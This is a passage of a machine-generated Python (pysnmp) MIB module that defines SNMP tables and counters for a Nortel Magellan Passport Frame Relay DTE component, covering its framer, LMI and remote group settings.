if mibBuilder.loadTexts: frDteOperationalState.setStatus('mandatory')
frDteUsageState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 23, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("idle", 0), ("active", 1), ("busy", 2))).clone('idle')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteUsageState.setStatus('mandatory')
frDteOperStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 24), )
if mibBuilder.loadTexts: frDteOperStatusTable.setStatus('mandatory')
frDteOperStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 24, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"))
if mibBuilder.loadTexts: frDteOperStatusEntry.setStatus('mandatory')
frDteSnmpOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 24, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("up", 1), ("down", 2), ("testing", 3))).clone('up')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteSnmpOperStatus.setStatus('mandatory')
frDteOperTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 25), )
if mibBuilder.loadTexts: frDteOperTable.setStatus('mandatory')
frDteOperEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 25, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"))
if mibBuilder.loadTexts: frDteOperEntry.setStatus('mandatory')
frDteLinkOperState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 25, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("active", 1), ("down", 2), ("polling", 3))).clone('down')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLinkOperState.setStatus('mandatory')
frDteErrTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 26), )
if mibBuilder.loadTexts: frDteErrTable.setStatus('mandatory')
frDteErrEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 26, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"))
if mibBuilder.loadTexts: frDteErrEntry.setStatus('mandatory')
frDteErrType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 26, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9))).clone(namedValues=NamedValues(("unknownError", 1), ("receiveShort", 2), ("receiveLong", 3), ("illegalDlci", 4), ("dlcmiProtoErr", 5), ("dlcmiUnknownIe", 6), ("dlcmiSequenceErr", 7), ("dlcmiUnknownRpt", 8), ("noErrorSinceReset", 9))).clone('noErrorSinceReset')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteErrType.setStatus('mandatory')
frDteErrData = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 26, 1, 3), HexString().subtype(subtypeSpec=ValueSizeConstraint(64, 64)).setFixedLength(64)).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteErrData.setStatus('mandatory')
frDteErrTime = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 26, 1, 4), EnterpriseDateAndTime().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(0, 0), ValueSizeConstraint(19, 19), ))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteErrTime.setStatus('mandatory')
frDteErrDiscards = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 26, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteErrDiscards.setStatus('mandatory')
frDteErrFaults = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 26, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteErrFaults.setStatus('mandatory')
frDteErrFaultTime = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 26, 1, 8), EnterpriseDateAndTime().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(0, 0), ValueSizeConstraint(19, 19), ))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteErrFaultTime.setStatus('mandatory')
frDteErrStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27), )
if mibBuilder.loadTexts: frDteErrStatsTable.setStatus('mandatory')
frDteErrStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"))
if mibBuilder.loadTexts: frDteErrStatsEntry.setStatus('mandatory')
frDteXmitDiscardPvcDown = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 1), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteXmitDiscardPvcDown.setStatus('mandatory')
frDteXmitDiscardLmiInactive = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteXmitDiscardLmiInactive.setStatus('mandatory')
frDteXmitDiscardFramerDown = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteXmitDiscardFramerDown.setStatus('mandatory')
frDteXmitDiscardPvcInactive = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteXmitDiscardPvcInactive.setStatus('mandatory')
frDteXmitDiscardCirExceeded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteXmitDiscardCirExceeded.setStatus('mandatory')
frDteRecvDiscardPvcDown = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRecvDiscardPvcDown.setStatus('mandatory')
frDteRecvDiscardLmiInactive = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRecvDiscardLmiInactive.setStatus('mandatory')
frDteRecvDiscardPvcInactive = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRecvDiscardPvcInactive.setStatus('mandatory')
frDteBadFc = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteBadFc.setStatus('mandatory')
frDteUlpUnknownProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteUlpUnknownProtocol.setStatus('mandatory')
frDteDefragSequenceErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDefragSequenceErrors.setStatus('mandatory')
frDteReceiveShort = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteReceiveShort.setStatus('mandatory')
frDteIllegalDlci = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteIllegalDlci.setStatus('mandatory')
frDteDlcmiProtoErr = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 14), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlcmiProtoErr.setStatus('mandatory')
frDteDlcmiUnknownIe = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 15), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlcmiUnknownIe.setStatus('mandatory')
frDteDlcmiSequenceErr = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 16), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlcmiSequenceErr.setStatus('mandatory')
frDteDlcmiUnknownRpt = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 27, 1, 17), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlcmiUnknownRpt.setStatus('mandatory')
frDteFramer = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2))
frDteFramerRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 1), )
if mibBuilder.loadTexts: frDteFramerRowStatusTable.setStatus('mandatory')
frDteFramerRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteFramerIndex"))
if mibBuilder.loadTexts: frDteFramerRowStatusEntry.setStatus('mandatory')
frDteFramerRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 1, 1, 1), RowStatus()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteFramerRowStatus.setStatus('mandatory')
frDteFramerComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerComponentName.setStatus('mandatory')
frDteFramerStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerStorageType.setStatus('mandatory')
frDteFramerIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 1, 1, 10), NonReplicated())
if mibBuilder.loadTexts: frDteFramerIndex.setStatus('mandatory')
frDteFramerProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 10), )
if mibBuilder.loadTexts: frDteFramerProvTable.setStatus('mandatory')
frDteFramerProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteFramerIndex"))
if mibBuilder.loadTexts: frDteFramerProvEntry.setStatus('mandatory')
frDteFramerInterfaceName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 10, 1, 1), Link()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteFramerInterfaceName.setStatus('mandatory')
frDteFramerStateTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 12), )
if mibBuilder.loadTexts: frDteFramerStateTable.setStatus('mandatory')
frDteFramerStateEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 12, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteFramerIndex"))
if mibBuilder.loadTexts: frDteFramerStateEntry.setStatus('mandatory')
frDteFramerAdminState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 12, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("locked", 0), ("unlocked", 1), ("shuttingDown", 2))).clone('unlocked')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerAdminState.setStatus('mandatory')
frDteFramerOperationalState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 12, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1))).clone(namedValues=NamedValues(("disabled", 0), ("enabled", 1))).clone('disabled')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerOperationalState.setStatus('mandatory')
frDteFramerUsageState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 12, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("idle", 0), ("active", 1), ("busy", 2))).clone('idle')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerUsageState.setStatus('mandatory')
frDteFramerStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13), )
if mibBuilder.loadTexts: frDteFramerStatsTable.setStatus('mandatory')
frDteFramerStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteFramerIndex"))
if mibBuilder.loadTexts: frDteFramerStatsEntry.setStatus('mandatory')
frDteFramerFrmToIf = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1, 1), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerFrmToIf.setStatus('mandatory')
frDteFramerFrmFromIf = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerFrmFromIf.setStatus('mandatory')
frDteFramerAborts = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerAborts.setStatus('mandatory')
frDteFramerCrcErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerCrcErrors.setStatus('mandatory')
frDteFramerLrcErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerLrcErrors.setStatus('mandatory')
frDteFramerNonOctetErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerNonOctetErrors.setStatus('mandatory')
frDteFramerOverruns = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerOverruns.setStatus('mandatory')
frDteFramerUnderruns = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerUnderruns.setStatus('mandatory')
frDteFramerLargeFrmErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 13, 1, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerLargeFrmErrors.setStatus('mandatory')
frDteFramerUtilTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 14), )
if mibBuilder.loadTexts: frDteFramerUtilTable.setStatus('mandatory')
frDteFramerUtilEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 14, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteFramerIndex"))
if mibBuilder.loadTexts: frDteFramerUtilEntry.setStatus('mandatory')
frDteFramerNormPrioLinkUtilToIf = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 14, 1, 1), Gauge32().subtype(subtypeSpec=ValueRangeConstraint(0, 100))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerNormPrioLinkUtilToIf.setStatus('mandatory')
frDteFramerNormPrioLinkUtilFromIf = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 2, 14, 1, 3), Gauge32().subtype(subtypeSpec=ValueRangeConstraint(0, 100))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteFramerNormPrioLinkUtilFromIf.setStatus('mandatory')
frDteLmi = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3))
frDteLmiRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 1), )
if mibBuilder.loadTexts: frDteLmiRowStatusTable.setStatus('mandatory')
frDteLmiRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteLmiIndex"))
if mibBuilder.loadTexts: frDteLmiRowStatusEntry.setStatus('mandatory')
frDteLmiRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 1, 1, 1), RowStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLmiRowStatus.setStatus('mandatory')
frDteLmiComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLmiComponentName.setStatus('mandatory')
frDteLmiStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLmiStorageType.setStatus('mandatory')
frDteLmiIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 1, 1, 10), NonReplicated())
if mibBuilder.loadTexts: frDteLmiIndex.setStatus('mandatory')
frDteLmiProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 10), )
if mibBuilder.loadTexts: frDteLmiProvTable.setStatus('mandatory')
frDteLmiProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteLmiIndex"))
if mibBuilder.loadTexts: frDteLmiProvEntry.setStatus('mandatory')
frDteLmiProcedures = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 10, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 5))).clone(namedValues=NamedValues(("none", 1), ("vendorForum", 2), ("ansi", 3), ("itu", 5))).clone('itu')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteLmiProcedures.setStatus('mandatory')
frDteLmiPollingInterval = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 10, 1, 4), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(5, 30)).clone(10)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteLmiPollingInterval.setStatus('mandatory')
frDteLmiFullEnquiryInterval = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 10, 1, 5), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(1, 255)).clone(6)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteLmiFullEnquiryInterval.setStatus('mandatory')
frDteLmiErrorThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 10, 1, 6), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(1, 10)).clone(3)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteLmiErrorThreshold.setStatus('mandatory')
frDteLmiMonitoredEvents = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 10, 1, 7), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(1, 10)).clone(4)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteLmiMonitoredEvents.setStatus('mandatory')
frDteLmiOperTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 11), )
if mibBuilder.loadTexts: frDteLmiOperTable.setStatus('mandatory')
frDteLmiOperEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 11, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteLmiIndex"))
if mibBuilder.loadTexts: frDteLmiOperEntry.setStatus('mandatory')
frDteLmiLmiStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 3, 11, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("running", 1), ("fault", 2), ("initializing", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLmiLmiStatus.setStatus('mandatory')
frDteRg = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4))
frDteRgRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 1), )
if mibBuilder.loadTexts: frDteRgRowStatusTable.setStatus('mandatory')
frDteRgRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"))
if mibBuilder.loadTexts: frDteRgRowStatusEntry.setStatus('mandatory')
frDteRgRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 1, 1, 1), RowStatus()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteRgRowStatus.setStatus('mandatory')
frDteRgComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgComponentName.setStatus('mandatory')
frDteRgStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgStorageType.setStatus('mandatory')
frDteRgIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 1, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 256)))
if mibBuilder.loadTexts: frDteRgIndex.setStatus('mandatory')
frDteRgIfEntryTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 10), )
if mibBuilder.loadTexts: frDteRgIfEntryTable.setStatus('mandatory')
frDteRgIfEntryEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"))
if mibBuilder.loadTexts: frDteRgIfEntryEntry.setStatus('mandatory')
frDteRgIfAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 10, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("up", 1), ("down", 2), ("testing", 3))).clone('up')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteRgIfAdminStatus.setStatus('mandatory')
frDteRgIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 10, 1, 2), InterfaceIndex().subtype(subtypeSpec=ValueRangeConstraint(1, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgIfIndex.setStatus('mandatory')
frDteRgProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 11), )
if mibBuilder.loadTexts: frDteRgProvTable.setStatus('mandatory')
frDteRgProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 11, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"))
if mibBuilder.loadTexts: frDteRgProvEntry.setStatus('mandatory')
frDteRgMaxTransmissionUnit = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 11, 1, 1), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(262, 9190)).clone(1604)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteRgMaxTransmissionUnit.setStatus('mandatory')
frDteRgMpTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 12), )
if mibBuilder.loadTexts: frDteRgMpTable.setStatus('mandatory')
frDteRgMpEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 12, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"))
if mibBuilder.loadTexts: frDteRgMpEntry.setStatus('mandatory')
frDteRgLinkToProtocolPort = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 12, 1, 1), Link()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteRgLinkToProtocolPort.setStatus('mandatory')
frDteRgStateTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 13), )
if mibBuilder.loadTexts: frDteRgStateTable.setStatus('mandatory')
frDteRgStateEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 13, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"))
if mibBuilder.loadTexts: frDteRgStateEntry.setStatus('mandatory')
frDteRgAdminState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 13, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("locked", 0), ("unlocked", 1), ("shuttingDown", 2))).clone('unlocked')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgAdminState.setStatus('mandatory')
frDteRgOperationalState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 13, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1))).clone(namedValues=NamedValues(("disabled", 0), ("enabled", 1))).clone('disabled')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgOperationalState.setStatus('mandatory')
frDteRgUsageState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 13, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("idle", 0), ("active", 1), ("busy", 2))).clone('idle')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgUsageState.setStatus('mandatory')
frDteRgOperStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 14), )
if mibBuilder.loadTexts: frDteRgOperStatusTable.setStatus('mandatory')
frDteRgOperStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 14, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"))
if mibBuilder.loadTexts: frDteRgOperStatusEntry.setStatus('mandatory')
frDteRgSnmpOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 14, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("up", 1), ("down", 2), ("testing", 3))).clone('up')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgSnmpOperStatus.setStatus('mandatory')
frDteRgLtDlciTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 219), )
if mibBuilder.loadTexts: frDteRgLtDlciTable.setStatus('mandatory')
